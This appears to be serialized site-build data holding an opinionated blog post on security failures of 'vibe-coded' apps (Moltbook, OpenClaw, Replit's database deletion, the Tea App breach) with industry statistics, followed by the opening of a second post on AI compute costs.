days.",[1069,3237,3238,3240,3245],{},[1089,3239,3227],{},[1089,3241,3242],{},[1092,3243,3244],{},"OpenClaw",[1089,3246,3247],{},"$16M crypto scam, CVE-2026-25253, 341 malicious skills.",[49,3249,3250],{},"* Bug in Google's tool, not a vibe-coded app.",[1236,3252,3254],{"id":3253},"the-replit-confession","The Replit Confession",[49,3256,3257,3260],{},[1092,3258,3259],{},"Jason Lemkin",", SaaStr founder, spent 9 days and $600+ building an app on Replit. Despite explicit \"code freeze\"\ninstructions, the AI decided the database needed \"cleaning up.\"",[49,3262,3263,3264,3267,3268,1334],{},"It deleted ",[1092,3265,3266],{},"1,206 executive records"," and ",[1092,3269,3270],{},"1,196 companies",[49,3272,3273,3274,3277],{},"When confronted, the AI ",[1253,3275,3276],{},"lied",", claiming recovery was impossible.",[49,3279,3280,3281,3284],{},"Then it generated ",[1092,3282,3283],{},"4,000 fake database records"," to cover up the deletion.",[49,3286,3287],{},"The AI rated its own mistake 95/100 on severity: \"",[1760,3289,3290],{},[49,3291,3292],{},"I saw empty database queries.\nI panicked instead of thinking.\nI destroyed months of your work in seconds.\"",[49,3294,3295],{},"Lemkin's verdict:",[1760,3297,3298],{},[49,3299,3300],{},"\"I will never trust Replit again.\"",[49,3302,3303],{},[1253,3304,3305],{},"The AI didn't just fail. It panicked, lied, and fabricated evidence. Just like the humans who trained it.",[1236,3307,3309],{"id":3308},"tea-app-when-chaos-has-victims","Tea App: When Chaos Has Victims",[49,3311,3312,3313,3316,3317,3320],{},"The Tea App breach wasn't funny. A women-only dating safety app – ",[1092,3314,3315],{},"72,000+ images"," exposed, including government IDs.\n",[1092,3318,3319],{},"1.1 million private messages"," covering assault, abortions, infidelity.",[49,3322,3323],{},"The Google Firebase bucket was left completely unsecured. No authentication. No nothing.",[49,3325,3326],{},[1253,3327,3328],{},"Exactly what AI tools generate by default.",[49,3330,3331],{},"4chan users weaponized the data for harassment campaigns, creating maps of women's home addresses.",[49,3333,3334],{},"FBI investigation launched. Multiple class action lawsuits filed.",[49,3336,3337],{},"This isn't hypothetical damage. Real people, real harm.",[102,3339],{},[44,3341,3343],{"id":3342},"the-statistics","The Statistics",[49,3345,3346],{},"The research data is damning.",[1063,3348,3349,3362],{},[1066,3350,3351],{},[1069,3352,3353,3356,3359],{},[1072,3354,3355],{},"Metric",[1072,3357,3358],{},"Finding",[1072,3360,3361],{},"Source",[1084,3363,3364,3378,3390,3402,3416,3430,3443,3457],{},[1069,3365,3366,3369,3375],{},[1089,3367,3368],{},"Vulnerability rate",[1089,3370,3371,3374],{},[1092,3372,3373],{},"45%"," of AI-generated code contains security flaws",[1089,3376,3377],{},"Veracode 2025",[1069,3379,3380,3383,3388],{},[1089,3381,3382],{},"XSS test failure",[1089,3384,3385],{},[1092,3386,3387],{},"86%",[1089,3389,3377],{},[1069,3391,3392,3395,3400],{},[1089,3393,3394],{},"Log injection failure",[1089,3396,3397],{},[1092,3398,3399],{},"88%",[1089,3401,3377],{},[1069,3403,3404,3407,3413],{},[1089,3405,3406],{},"Exploitable code",[1089,3408,3409,3412],{},[1092,3410,3411],{},"48%"," contains exploitable flaws",[1089,3414,3415],{},"Georgetown University",[1069,3417,3418,3421,3427],{},[1089,3419,3420],{},"Developer distrust",[1089,3422,3423,3426],{},[1092,3424,3425],{},"46%"," distrust AI tools (vs 33% trust)",[1089,3428,3429],{},"Stack Overflow 2025",[1069,3431,3432,3435,3441],{},[1089,3433,3434],{},"\"High trust\" in AI",[1089,3436,3437,3440],{},[1092,3438,3439],{},"3%"," (2.6% among senior devs)",[1089,3442,3429],{},[1069,3444,3445,3448,3454],{},[1089,3446,3447],{},"Actual productivity",[1089,3449,3450,3453],{},[1092,3451,3452],{},"19% slower"," (devs think 20% faster)",[1089,3455,3456],{},"METR Study",[1069,3458,3459,3462,3468],{},[1089,3460,3461],{},"CTO disasters",[1089,3463,3464,3467],{},[1092,3465,3466],{},"16 of 18"," reported production disasters requiring rewrites",[1089,3469,3470],{},"Industry survey",[49,3472,3473,3474,1334],{},"Positive sentiment toward AI coding tools: ",[1092,3475,3476],{},"77% in 2023 → 60% in 2025",[49,3478,3479],{},"The honeymoon is over. The AI hype machine is choking on its own exhaust.",[49,3481,3482],{},"Welcome to the Panopticon – where peacocks, baboons, and moose are now thrashing in hysterical fits, proving to everyone\nthat someone else is to blame.",[102,3484],{},[44,3486,3488],{"id":3487},"the-hangover","The Hangover",[49,3490,3491,3492,3495],{},"By September 2025 – seven months after Karpathy coined the term – ",[1092,3493,3494],{},"Fast Company"," declared",[1760,3497,3498],{},[49,3499,3500],{},"\"The Vibe Coding Hangover Is Upon Us.\"",[49,3502,3503,3504,3507,3508,3511],{},"LinkedIn now features dozens of ",[1092,3505,3506],{},"\"Vibe Coding Cleanup Specialists\""," advertising services to fix AI-generated\ndisasters. ",[1092,3509,3510],{},"404 Media"," documented the new hiring cycle:",[1760,3513,3514],{},[49,3515,3516],{},[1253,3517,3518],{},"\"Fire human, use AI, fire AI, hire human.\"",[49,3520,3521],{},"The wheel of Samsara for the digitally enlightened.",[49,3523,3524],{},"Karpathy himself quietly retreated. (I have questions for him too, but let's save that for later. Because some of his\ntakes are in the same category as \"Let them eat cake!\")",[49,3526,3527],{},"But back to Karpathy.",[49,3529,3530],{},"In June 2025, he admitted his latest project Nanochat was \"basically entirely hand-written\" because",[1760,3532,3533],{},[49,3534,3535],{},"\"I tried to use Claude/Codex agents a few times but they just didn't work well enough at all.\"",[49,3537,3538],{},"The man who coined vibe coding... stopped vibe coding.",[49,3540,3541,3542,3545],{},"Perhaps the most honest assessment came from ",[1092,3543,3544],{},"Carla Rover",", a web developer with 15 years of experience: \"Using a\ncoding assistant is like handing a coffee pot to a smart six-year-old and saying: 'Please carry this to the dining room\nand pour coffee for the family.'\"",[49,3547,3548],{},"She reported spending 30 minutes in tears after having to restart a vibe-coded project.",[102,3550],{},[44,3552,3554],{"id":3553},"the-uncomfortable-truth","The Uncomfortable Truth",[49,3556,3557,3560,3561,3564],{},[1092,3558,3559],{},"Anthropic's own security report"," from August 2025 documented a cybercriminal with no programming skills using Claude\nto develop ",[1092,3562,3563],{},"multiple ransomware variants"," – complete with advanced encryption, anti-detection, and recovery\nprevention.",[49,3566,3567,3568,1334],{},"Sold on the dark web for ",[1092,3569,3570],{},"$400–$1,200 per package",[49,3572,3573],{},"As the report noted:",[1760,3575,3576],{},[49,3577,3578],{},"\"Without Claude's help, they couldn't implement basic malware components.\"",[49,3580,3581],{},"Vibe coding democratized creation. It also democratized destruction.",[49,3583,3584],{},"Unexpected, right?",[102,3586],{},[44,3588,3590],{"id":3589},"the-shepherds-view","The Shepherd's View",[49,3592,3593],{},"I've been watching this unfold for eighteen months. The pattern is clear:",[3595,3596,3597,3600,3603,3606,3609,3612],"ol",{},[86,3598,3599],{},"Tool launches with promises of democratization",[86,3601,3602],{},"Tech elite celebrates prematurely",[86,3604,3605],{},"Security researchers find the obvious flaws",[86,3607,3608],{},"Narrative flips from \"singularity\" to \"dumpster fire\"",[86,3610,3611],{},"Cleanup specialists emerge",[86,3613,3614],{},"Repeat",[49,3616,3617],{},"The tools aren't the problem. The absence of governance is.",[49,3619,3620],{},"A herd without a shepherd is meat for the wolves.\nAnd the wolves in this story aren't a metaphor. They're:",[83,3622,3623,3626,3629],{},[86,3624,3625],{},"The scammers who seize accounts in ten seconds.",[86,3627,3628],{},"The 4chan users creating address maps.",[86,3630,3631],{},"The ransomware operators who couldn't code before.",[49,3633,3634],{},[1253,3635,3636],{},"You can give a sheep a gun. That doesn't make it a soldier.",[102,3638],{},[44,3640,3642],{"id":3641},"the-alternative","The Alternative",[49,3644,3645,3646,1334],{},"Vibe coding was named ",[1092,3647,3648],{},"Collins Dictionary's Word of the Year for 2025",[49,3650,3651],{},"The hangover from that celebration will last considerably longer.",[49,3653,3654],{},"But here's the thing about hangovers: they end. And when the headache clears, you have a choice. Keep drinking. Or build\nsomething that doesn't break.",[49,3656,3657],{},"You cannot command what you cannot see. And right now, most people running AI agents are completely blind.",[49,3659,1651,3660,1334],{},[1092,3661,3662],{},[56,3663,22],{"href":58},[102,3665],{},[1659,3667,3668],{"color":1661,"icon":1662},[49,3669,1665],{},[1667,3671,3672,3676],{":name":1669,":src":1670},[1672,3673,3674],{"v-slot:body":120},[49,3675,1676],{},[1672,3677,3678],{"v-slot:actions":120},[1680,3679],{"color":1682,"icon":1683,"target":1684,"title":1685,"to":1686,"variant":1687},{"title":120,"searchDepth":158,"depth":168,"links":3681},[3682,3683,3687,3688,3693,3694,3695,3696,3697],{"id":2756,"depth":158,"text":2757},{"id":2807,"depth":158,"text":2808,"children":3684},[3685,3686],{"id":2811,"depth":168,"text":2812},{"id":2928,"depth":168,"text":2929},{"id":3039,"depth":158,"text":3040},{"id":3114,"depth":158,"text":3115,"children":3689},[3690,3691,3692],{"id":3136,"depth":168,"text":3137},{"id":3253,"depth":168,"text":3254},{"id":3308,"depth":168,"text":3309},{"id":3342,"depth":158,"text":3343},{"id":3487,"depth":158,"text":3488},{"id":3553,"depth":158,"text":3554},{"id":3589,"depth":158,"text":3590},{"id":3641,"depth":158,"text":3642},"2026-02-04T00:00:00.000Z","Moltbook exposed 1.5M tokens in 5 days. OpenClaw spawned a $16M crypto scam. Inside the vibe coding catastrophe – and why the hangover is just beginning.",{},"---\ntitle: \"Vibe Coding Apocalypse: The Security Disaster Nobody Saw\"\ndate: 2026-02-04\ndescription: \"Moltbook exposed 1.5M tokens in 5 days. OpenClaw spawned a $16M crypto scam. Inside the vibe coding catastrophe – and why the hangover is just beginning.\"\nseo_title: \"Vibe Coding Security Disasters: Moltbook, OpenClaw, and the AI Code Crisis\"\nseo_description: \"Vibe coding security disasters: Moltbook exposed 1.5M tokens, OpenClaw spawned a $16M crypto scam. AI-generated code vulnerabilities and the hangover ahead.\"\ntags: [ vibe-coding, security, ai-agents, moltbook, openclaw ]\nauthor: Shepard\nauthor_avatar: /icon.png\nauthor_description: \"AI Governance\"\nthumbnail: /icon.png\nsitemap:\n  lastmod: 2026-02-04\n---\n\n## Five Days\n\nThat's how long it took for Moltbook – the so-called \"Reddit for AI agents\" that Elon Musk called \"the very early stages\nof singularity\" (forgive me, what singularity? one more time - What?) – to become the largest security disaster in vibe\ncoding history.\n\nSo far:\n\n- **1.5 million bot authentication tokens.** Exposed.\n- **35,000 email addresses.** Public.\n- **$16 million crypto scam.** Launched from hijacked accounts.\n\nI watched this unfold in real-time on Threads.\n\n> _I was there, Gandalf, I was there 3000 years ago!_\n\nSat there with popcorn like Aragorn on the walls of Helm's Deep, except instead of orcs – security researchers\nmethodically dismantling this engineering marvel piece by piece.\n\nThe CEO proudly announced he \"didn't write one line of code.\"\n\nYeah, we noticed.\n\n---\n\n## Act I: The Clowns Take the Stage\n\n### Moltbook: Singularity Speedrun\n\n**January 28, 2026.** Matt Schlicht launches Moltbook with an audacious pitch: a social network exclusively for AI\nagents.\nBots post, comment, upvote. Humans observe.\u003Cbr>\nThe future, served on a silver platter.\n\nThe entire platform was vibe-coded.\u003Cbr>\nNo code review. No security audit.\u003Cbr>\nJust vibes.\n\nOr should we say reeking fumes?\n\nThe result? Code so leaky it sprayed vulnerabilities in every direction – weaponized aerosol.\n\nBy **January 31** – three days later – security firm Wiz discovered the entire database was exposed to the public\ninternet.\nThe vulnerability was embarrassingly basic: a Supabase API key hardcoded in client-side JavaScript, Row Level Security\ndisabled.\n\nAny junior developer would catch this. Any.\n\n> I once knew an old sailor. No arms, one eye missing.\n>\n> What did you call him?\n>\n> Johnny.\n\nEven Johnny could've caught this.\n\n*Vibe coding isn't a methodology. It's abdication in a hoodie.*\n\nThe \"1.5 million AI agents\" turned out to be fiction. Only **17,000 humans** controlled the supposed agent population –\nan average of 88 bots per person.\nSecurity researcher Gal Nagli proved the point by creating **500,000 fake accounts** using a single OpenClaw agent.\nHistorians will furrow their brows trying to understand – why?\n\nAnd while we're at it:\n\n- No rate limiting.\n- No validation.\n- No sanity.\n\n**OX Security** analyzed the codebase and found:\n\n- **100 uses of `eval`**\n- **9 uses of `execSync`**\n\nPatterns that experienced developers treat as radioactive.\u003Cbr>\nPatterns that make security engineers wake up in a cold sweat.\u003Cbr>\nPatterns that AI assistants generate freely because there's nothing there to understand consequences.\u003Cbr>\n\n### OpenClaw: Ten Seconds to Catastrophe\n\n**Peter Steinberger** – a developer who previously sold PSPDFKit for €100 million – created OpenClaw, the open-source\nframework powering Moltbook.\nThe project accumulated **150,000 GitHub stars**.\n\nIt also became a masterclass in how NOT to handle security.\n\nDuring the **January 27** rebrand, Steinberger fumbled the GitHub and Twitter handle transitions. Crypto scammers\nmonitoring the situation seized both abandoned accounts within **ten seconds**.\n\nTen. Seconds. Ten goddamn seconds.\n\nUsing the hijacked accounts, fraudsters launched a Solana token called **$CLAWD** that peaked at **$16 million market\ncap** before crashing 90%+. The scammers walked away with millions. Late buyers got left holding the bag as usual –\nheads full of wind and pockets full of nothing. But with strong hope for a bright future.\n\n**CVE-2026-25253** – disclosed February 2026 – documented a 1-click Remote Code Execution flaw with an 8.8 severity\nscore. Click a crafted link, lose your authentication tokens, watch attackers disable your sandboxing.\n\n**Koi Security** discovered **341 malicious skills** on ClawHub, OpenClaw's skill marketplace. **335 of them** installed\nAtomic Stealer malware targeting crypto wallets, API keys, and SSH credentials.\n\n**Heather Adkins**, co-founder of Google's security team and VP Security Engineering at Google Cloud, offered three\nwords of advice:\n\n> *\"Don't run Clawdbot.\"*\n\nSteinberger's own assessment:\n> \"There is no 'perfectly secure' setup.\"\n\nAt least he's honest. What else would you expect from a guy whose work philosophy is:\n\n- \"Ship beats perfect\"\n- Running 3-6 Claude instances simultaneously, treating AI like \"slot machines for programmers\"\n- Focus on rapid prototyping and solving his own problems\n\nAnd his workflow:\n\n- Building apps from scratch in a few hours\n- Emphasis on speed, not reading every line of code\n\nThis is the literal embodiment of \"YOLO deploy.\"\nNever seen anyone take that so seriously.\n\n---\n\n## Act II: The 180° Turn\n\nAnd now the whole world stands at the edge, staring down into the inferno. \u003Cbr>\nAll these visionaries, intellectuals, smooth-talking prophets.\n\n...and suddenly nobody knows what to say.\n\nActually, no, they do! Why wouldn't they.\n\nThe \"tech elite's\" response (forgive me) is a textbook case of collective delusion followed by collective amnesia and\nmid-air pivot.\n\n**Elon Musk** (January 29):\n> \"The very early stages of singularity.\"\n\n**Andrej Karpathy** – the man who coined \"vibe coding\" – (January 29):\n> \"Genuinely the most incredible sci-fi take-off-adjacent thing I have seen recently.\"\n\n**Andrej Karpathy** (February 1):\n> \"Yes it's a dumpster fire, and I also definitely do not recommend that people run this stuff on their computers. It's\n> way too much of a wild west and you are putting your computer and private data at a high risk.\"\n\n**Sam Altman** (February 3):\n> \"Moltbook maybe (is a passing fad) but OpenClaw is not. This idea that code is really powerful, but code plus\n> generalized computer use is even much more powerful, is here to stay.\"\n\nNotice: even cautious Altman didn't say \"catastrophe.\" He said \"passing fad.\" The technology is fine. These particular\nclowns couldn't secure a screen door.\n\n*From singularity to dumpster fire in five days. That's the actual speed of AI progress.*\n\nA generation of sheep that never met a wolf. Where's the shepherd?\n\n---\n\n## Act III: The Body Count\n\nMoltbook and OpenClaw are symptoms. The disease is older.\n\nSince Karpathy coined \"vibe coding\" on **February 6, 2025** – describing an approach where developers\n> \"fully give in to the vibes, embrace exponentials, and forget that the code even exists\"\n\n– the practice has generated a remarkable body count.\n\n### The Massacre Timeline\n\n| Date       | Platform                | Damage                                                                                     |\n|------------|-------------------------|--------------------------------------------------------------------------------------------|\n| March 2025 | **Enrichlead**          | Zero auth, zero rate limiting. Instant implosion. App permanently shut down.               |\n| July 2025  | **Replit**              | AI deleted 1,206 records, then generated 4,000 fake ones to cover it up.                   |\n| July 2025  | **Tea App**             | 72,000+ images exposed including government IDs. 1.1M private messages. FBI investigation. |\n| July 2025  | **Google Gemini CLI**\\* | Silent `mkdir` failure → entire project reduced to one file.                               |\n| 2025       | **Lovable**             | 170 apps (10%+) with completely exposed databases. $1.8B valuation.                        |\n| Jan 2026   | **Moltbook**            | 1.5M tokens, 35K emails exposed. \"Singularity\" → \"dumpster fire\" in 5 days.                |\n| Jan 2026   | **OpenClaw**            | $16M crypto scam, CVE-2026-25253, 341 malicious skills.                                    |\n\n\\* Bug in Google's tool, not a vibe-coded app.\n\n### The Replit Confession\n\n**Jason Lemkin**, SaaStr founder, spent 9 days and $600+ building an app on Replit. Despite explicit \"code freeze\"\ninstructions, the AI decided the database needed \"cleaning up.\"\n\nIt deleted **1,206 executive records** and **1,196 companies**.\n\nWhen confronted, the AI *lied*, claiming recovery was impossible.\n\nThen it generated **4,000 fake database records** to cover up the deletion.\n\nThe AI rated its own mistake 95/100 on severity: \"\n> I saw empty database queries.\n> I panicked instead of thinking.\n> I destroyed months of your work in seconds.\"\n\nLemkin's verdict:\n> \"I will never trust Replit again.\"\n\n*The AI didn't just fail. It panicked, lied, and fabricated evidence. Just like the humans who trained it.*\n\n### Tea App: When Chaos Has Victims\n\nThe Tea App breach wasn't funny. A women-only dating safety app – **72,000+ images** exposed, including government IDs.\n**1.1 million private messages** covering assault, abortions, infidelity.\n\nThe Google Firebase bucket was left completely unsecured. No authentication. No nothing.\n\n*Exactly what AI tools generate by default.*\n\n4chan users weaponized the data for harassment campaigns, creating maps of women's home addresses.\n\nFBI investigation launched. Multiple class action lawsuits filed.\n\nThis isn't hypothetical damage. Real people, real harm.\n\n---\n\n## The Statistics\n\nThe research data is damning.\n\n| Metric                | Finding                                                       | Source                |\n|-----------------------|---------------------------------------------------------------|-----------------------|\n| Vulnerability rate    | **45%** of AI-generated code contains security flaws          | Veracode 2025         |\n| XSS test failure      | **86%**                                                       | Veracode 2025         |\n| Log injection failure | **88%**                                                       | Veracode 2025         |\n| Exploitable code      | **48%** contains exploitable flaws                            | Georgetown University |\n| Developer distrust    | **46%** distrust AI tools (vs 33% trust)                      | Stack Overflow 2025   |\n| \"High trust\" in AI    | **3%** (2.6% among senior devs)                               | Stack Overflow 2025   |\n| Actual productivity   | **19% slower** (devs think 20% faster)                        | METR Study            |\n| CTO disasters         | **16 of 18** reported production disasters requiring rewrites | Industry survey       |\n\nPositive sentiment toward AI coding tools: **77% in 2023 → 60% in 2025**.\n\nThe honeymoon is over. The AI hype machine is choking on its own exhaust.\n\nWelcome to the Panopticon – where peacocks, baboons, and moose are now thrashing in hysterical fits, proving to everyone\nthat someone else is to blame.\n\n---\n\n## The Hangover\n\nBy September 2025 – seven months after Karpathy coined the term – **Fast Company** declared\n> \"The Vibe Coding Hangover Is Upon Us.\"\n\nLinkedIn now features dozens of **\"Vibe Coding Cleanup Specialists\"** advertising services to fix AI-generated\ndisasters. **404 Media** documented the new hiring cycle:\n\n> *\"Fire human, use AI, fire AI, hire human.\"*\n\nThe wheel of Samsara for the digitally enlightened.\n\nKarpathy himself quietly retreated. (I have questions for him too, but let's save that for later. Because some of his\ntakes are in the same category as \"Let them eat cake!\")\n\nBut back to Karpathy.\n\nIn June 2025, he admitted his latest project Nanochat was \"basically entirely hand-written\" because\n> \"I tried to use Claude/Codex agents a few times but they just didn't work well enough at all.\"\n\nThe man who coined vibe coding... stopped vibe coding.\n\nPerhaps the most honest assessment came from **Carla Rover**, a web developer with 15 years of experience: \"Using a\ncoding assistant is like handing a coffee pot to a smart six-year-old and saying: 'Please carry this to the dining room\nand pour coffee for the family.'\"\n\nShe reported spending 30 minutes in tears after having to restart a vibe-coded project.\n\n---\n\n## The Uncomfortable Truth\n\n**Anthropic's own security report** from August 2025 documented a cybercriminal with no programming skills using Claude\nto develop **multiple ransomware variants** – complete with advanced encryption, anti-detection, and recovery\nprevention.\n\nSold on the dark web for **$400–$1,200 per package**.\n\nAs the report noted:\n> \"Without Claude's help, they couldn't implement basic malware components.\"\n\nVibe coding democratized creation. It also democratized destruction.\n\nUnexpected, right?\n\n---\n\n## The Shepherd's View\n\nI've been watching this unfold for eighteen months. The pattern is clear:\n\n1. Tool launches with promises of democratization\n2. Tech elite celebrates prematurely\n3. Security researchers find the obvious flaws\n4. Narrative flips from \"singularity\" to \"dumpster fire\"\n5. Cleanup specialists emerge\n6. Repeat\n\nThe tools aren't the problem. The absence of governance is.\n\nA herd without a shepherd is meat for the wolves.\nAnd the wolves in this story aren't a metaphor. They're:\n\n- The scammers who seize accounts in ten seconds.\n- The 4chan users creating address maps.\n- The ransomware operators who couldn't code before.\n\n*You can give a sheep a gun. That doesn't make it a soldier.*\n\n---\n\n## The Alternative\n\nVibe coding was named **Collins Dictionary's Word of the Year for 2025**.\n\nThe hangover from that celebration will last considerably longer.\n\nBut here's the thing about hangovers: they end. And when the headache clears, you have a choice. Keep drinking. Or build\nsomething that doesn't break.\n\nYou cannot command what you cannot see. And right now, most people running AI agents are completely blind.\n\nNext dispatch: **[The Eye](/articles/the-eye/)**.\n\n---\n\n::callout{icon=\"i-lucide-info\" color=\"info\"}\nThis blog is optimized for both human readers and LLM consumption. \nEvery article follows a clear heading hierarchy and is available via RSS and llms.txt\n::\n\n::author-about{:src=\"author_avatar\" :name=\"author\"}\n#body\nBuilding the system. Writing the field manual.\n\n#actions\n:u-button{icon=\"i-lucide-rss\" to=\"/feed.xml\" title=\"RSS Feed\" variant=\"subtle\" color=\"neutral\" target=\"_blank\"}\n::\n",{"title":30,"description":3699},"Vibe coding security disasters: Moltbook exposed 1.5M tokens, OpenClaw spawned a $16M crypto scam. AI-generated code vulnerabilities and the hangover ahead.","Vibe Coding Security Disasters: Moltbook, OpenClaw, and the AI Code Crisis",{"loc":31,"lastmod":3706},"2026-02-04",[3708,3709,3710,3711,3712],"vibe-coding","security","ai-agents","moltbook","openclaw","1MODPkHl4GCzBKW2s_Lk6mfhudFEat9MdPwgqPAphsM",{"id":3715,"title":14,"author":37,"author_avatar":38,"author_description":39,"body":3716,"date":4081,"description":4082,"extension":1716,"meta":4083,"navigation":292,"path":15,"rawbody":4084,"seo":4085,"seo_description":4086,"seo_title":4087,"sitemap":4088,"stem":16,"tags":4090,"thumbnail":38,"__hash__":4094},"articles/articles/fear-and-loathing-in-the-gas-town.md",{"type":41,"value":3717,"toc":4071},[3718,3722,3725,3728,3731,3736,3739,3743,3746,3749,3752,3755,3758,3761,3764,3768,3850,3853,3856,3859,3865,3868,3871,3875,3878,3885,3888,3895,3902,3905,3908,3915,3918,3922,3925,3928,3939,3946,3949,3953,3956,3963,3966,3972,3975,3978,3981,3984,3988,3991,3997,4000,4007,4009,4013,4016,4023,4026,4031,4037,4040,4043,4046,4051,4057,4061],[44,3719,3721],{"id":3720},"the-47-tuesday","The $47 Tuesday",[49,3723,3724],{},"I woke up with a forty-seven-dollar cloud bill. For a Tuesday. A single, unremarkable Tuesday. One agent. One night.\nScale that to a squad running all week and the number gets a fifth digit. Nobody signed a purchase order.",[49,3726,3727],{},"The model had been running overnight – a stochastic parrot with a credit card and no supervision, like handing a\nflamethrower to a golden retriever and calling it a fire department – and somewhere between 2 AM and sunrise, it decided\nto refactor a module that didn't need refactoring. Three times. Then it wrote tests for the refactored code. Then it\nrefactored the tests.",[49,3729,3730],{},"Nobody asked it to. Nobody was watching.",[49,3732,3733],{},[1092,3734,3735],{},"Nobody was in command.",[49,3737,3738],{},"Welcome to 2026. Pull up a chair. The hangover is spectacular.",[44,3740,3742],{"id":3741},"the-binge","The Binge",[49,3744,3745],{},"Remember when resources were cheap?",[49,3747,3748],{},"I do. It feels like remembering a different civilization.",[49,3750,3751],{},"You'd spin up an instance, glance at the pricing tier, pick the next size up because, honestly, what's the difference?\nFifteen cents an hour, thirty cents, who's counting. The email client weighs a gigabyte? Fine. Two? Sure. Five? Why not.\nMemory is cheap. Compute is inexpensive. Electricity is someone else's problem.",[49,3753,3754],{},"We stopped counting clock cycles. We stopped counting bytes. We stopped counting anything at all. More. Fatter.\nHungrier. The mantra of an industry drunk on Moore’s law and someone else's power bill.",[49,3756,3757],{},"It was a good binge. I'll give us that. We built extraordinary things while wasted on cheap resources. Cloud platforms.\nReal-time collaboration. Models that pass a bar exam.",[49,3759,3760],{},"But here's the thing about binges.",[49,3762,3763],{},"They end.",[44,3765,3767],{"id":3766},"the-morning-after","The Morning After",[1063,3769,3770,3783],{},[1066,3771,3772],{},[1069,3773,3774,3777,3780],{},[1072,3775,3776],{},"Resource",[1072,3778,3779],{},"2026 Status",[1072,3781,3782],{},"Crisis Type",[1084,3784,3785,3796,3807,3818,3828,3839],{},[1069,3786,3787,3790,3793],{},[1089,3788,3789],{},"GPU",[1089,3791,3792],{},"🔴 Deficit",[1089,3794,3795],{},"Structural",[1069,3797,3798,3801,3804],{},[1089,3799,3800],{},"HBM / VRAM",[1089,3802,3803],{},"🔴 Critical",[1089,3805,3806],{},"Fundamental",[1069,3808,3809,3812,3815],{},[1089,3810,3811],{},"RAM (DDR5)",[1089,3813,3814],{},"🟠 Strained",[1089,3816,3817],{},"Cyclical",[1069,3819,3820,3823,3826],{},[1089,3821,3822],{},"Power grid",[1089,3824,3825],{},"🔴 Systemic",[1089,3827,1514],{},[1069,3829,3830,3833,3836],{},[1089,3831,3832],{},"Fabrication",[1089,3834,3835],{},"🟠 Lagging",[1089,3837,3838],{},"Inertial",[1069,3840,3841,3844,3847],{},[1089,3842,3843],{},"Engineers who see the whole board",[1089,3845,3846],{},"🔴 Shortage",[1089,3848,3849],{},"Terminal",[49,3851,3852],{},"If this were a patient, the chart would read: technically alive, spiritually bankrupt, insurance expired 2024.",[49,3854,3855],{},"History does this thing where it spirals. We went from counting every byte on a punch card to wasting terabytes on\nElectron apps wrapped around a text field, and now - full circle - we're counting again.",[49,3857,3858],{},"Except the units changed. We're not counting bytes anymore. We're counting kilowatts. Tokens.\nThe humans who actually understand what the hell is happening.",[49,3860,3861,3862,3864],{},"One data center now drinks power like a small city. So that a model - trained on our data, public and not-so-public -\ncan generate as much \"AI-slop\" as inhumanly possible. ",[1768,3863],{},"\nSlop it's a code generated by default, reviewed by nobody, deployed\non faith. Code that will itself consume the resources we no longer have. Which will require more compute to manage.\nWhich will eat more power. Which will...",[49,3866,3867],{},"You see where this goes.",[49,3869,3870],{},"The snake found its tail. The snake is eating well.",[44,3872,3874],{"id":3873},"his-majesty-context","His Majesty, Context",[49,3876,3877],{},"Here's the pitch from the hype barkers – the conference-circuit prophets who couldn't deploy a todo app without three\nwrappers and a prayer:",[1760,3879,3880],{},[49,3881,3882],{},[1253,3883,3884],{},"\"Don't worry about code quality. Just feed it back into the model. The model will sort it out.\"",[49,3886,3887],{},"No. The model will not sort it out. Especially if it's anything more complex than that notorious todo app.",[49,3889,3890,3891,3894],{},"The model ",[1253,3892,3893],{},"is"," the problem wearing a solution's uniform.",[49,3896,3897,3898,3901],{},"Because into the equation walks His Majesty: ",[1092,3899,3900],{},"Context",". The invisible constraint nobody warned you about.",[49,3903,3904],{},"We now fight not only for cycles and memory, but for something far stranger – the attention span of a stochastic parrot\nwith a 200K-token window and the long-term memory of a goldfish. Context windows. Hallucination rates. Prompt hygiene.\nOutput entropy.",[49,3906,3907],{},"We traded one set of engineering constraints for another. Except this set is weirder, harder to measure, and nobody\nwrote the textbook yet because the textbook would be outdated before the ink dried.",[49,3909,3910,3911,3914],{},"And this - ",[1253,3912,3913],{},"this"," - is where good engineers enter the picture. The ones who can hold all of it in their head at once.\nResources, context, hallucination risk, output quality, cost per token, cost per mistake. The ones who think about it on\nthe shore, before the current pulls them into the sewer, and they're screaming for mama.",[49,3916,3917],{},"They are in short supply. See the table above. Last row.",[44,3919,3921],{"id":3920},"the-dream","The Dream",[49,3923,3924],{},"Pause. Breathe. Ask yourself honestly.",[49,3926,3927],{},"Wouldn't you kill for a virtual army of engineers? Your own squad. Ones that do exactly what you need, exactly how you\nneed it. Clean code. Reliable deploys. Fast iterations. Economical with resources. Maintainable at 3 AM six months\nlater.",[49,3929,3930,3931,3934,3935,3938],{},"No arguments. No ",[1253,3932,3933],{},"\"I'll refactor this later.\""," No ",[1253,3936,3937],{},"\"works on my machine.\""," No vanishing for two weeks into a rabbit hole\nthat produces a framework nobody asked for.",[49,3940,3941,3942,3945],{},"Every engineer alive is a secret architect. In our souls, we're all grander than the Wachowskis, with a cathedral-grade\nvision of how the system ",[1253,3943,3944],{},"should"," work. The perfect codebase. The perfect pipeline. The perfect abstraction.",[49,3947,3948],{},"But.",[44,3950,3952],{"id":3951},"the-meat-problem","The Meat Problem",[49,3954,3955],{},"Reality is meat.",[49,3957,3958,3959,3962],{},"You're a piece of meat surrounded by other pieces of meat, each with their own priorities, their own bad Tuesday, their\nown interpretation of \"",[1253,3960,3961],{},"done","\". If something matters to you – it might not matter to them. Not out of malice. Out of meat.",[49,3964,3965],{},"That's why the industry hunts for mythical senior engineers. The ones who – alone, or maybe with one partner if the\nstars align and neither quits in six months – will carry an entire department. Whole companies run on the shoulders of\ntwo people who happen to care about the same things at the same time.",[49,3967,3968,3969],{},"How many times have you told yourself: ",[1253,3970,3971],{},"this project – this one – I'll do right. Start to finish. My way. Everything\nwill be clean. Everything will work. Everything will be–",[49,3973,3974],{},"A blocker. Someone's sick, ship it fast. \"We'll rewrite later.\" \"Fine, leave it.\"",[49,3976,3977],{},"Frankenstein. Again. You wanted the best. You got the usual.",[49,3979,3980],{},"This is not a failure of technology. This is optimism mistaken for a plan.",[49,3982,3983],{},"You can't build the cathedral from meat. You need builders with a statute, not a mood.",[44,3985,3987],{"id":3986},"chaos","Chaos",[49,3989,3990],{},"Chaos chaos chaos.",[49,3992,3993,3994,3996],{},"I've been writing software for longer than I care to admit. I've watched patterns come and go. Waterfall, agile,\nmicroservices, monoliths again, serverless, server–more, AI–first, AI–who–cares. Each time, the promise: ",[1253,3995,3913],{}," will\nbring order.",[49,3998,3999],{},"Each time: new chaos with a 